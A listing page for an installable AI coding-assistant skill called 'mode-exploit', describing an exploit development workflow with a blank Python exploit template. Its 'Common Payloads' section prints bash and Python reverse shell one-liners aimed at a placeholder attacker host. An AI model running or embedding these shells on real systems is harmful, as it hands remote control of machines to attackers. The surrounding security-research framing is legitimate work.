mcpField
M
mode-exploit

mode-exploit

github.com/duck4nhSecurity1542 installsUpdated 37w ago
Repository

About mode-exploit

mode-exploit is a workflow guide for security practitioners researching and validating exploits in controlled environments. It covers vulnerability analysis, research, code development, testing, and documentation, with an emphasis on responsible disclosure.

Key features

  1. 01Organize exploit work into stages
  2. 02Provide a Python exploit skeleton
  3. 03Show examples of common payloads
  4. 04Prioritize testing in a lab
  5. 05Document impact and cleanup steps

Use cases

  1. 01Analyze a vulnerability and related cases
  2. 02Write proof-of-concept exploit code
  3. 03Validate an exploit in a controlled lab
  4. 04Record usage and cleanup instructions

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/duck4nh/antigravity-kit --skill mode-exploit

After installing, type/mode-exploitin Claude Code to confirm it loaded.

Details

From the project README

Exploit Development Mode

Workflow

  1. Analyze → Understand vulnerability, root cause
  2. Research → Find similar exploits, CVEs, techniques
  3. Develop → Write exploit code
  4. Test → Verify in controlled environment
  5. Document → PoC, usage instructions, impact

Exploit Template (Python)

#!/usr/bin/env python3
"""
Exploit: [CVE-XXXX-XXXX / Vuln Name]
Target: [Software/Version]
Type: [RCE/SQLi/LFI/etc]
Author: [Name]
"""

import argparse
import requests

def exploit(target: str, cmd: str = "id") -> str:
    """Main exploit logic"""
    # Exploit code here
    pass

def main():
    parser = argparse.ArgumentParser(description="Exploit description")
    parser.add_argument("target", help="Target URL/IP")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute")
    args = parser.parse_args()
    
    result = exploit(args.target, args.cmd)
    print(result)

if __name__ == "__main__":
    main()

Common Payloads

# Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Principles

  • Test in lab environment first
  • Document all steps clearly
  • Include cleanup/restore steps
  • Follow responsible disclosure

Comments

Markdown supported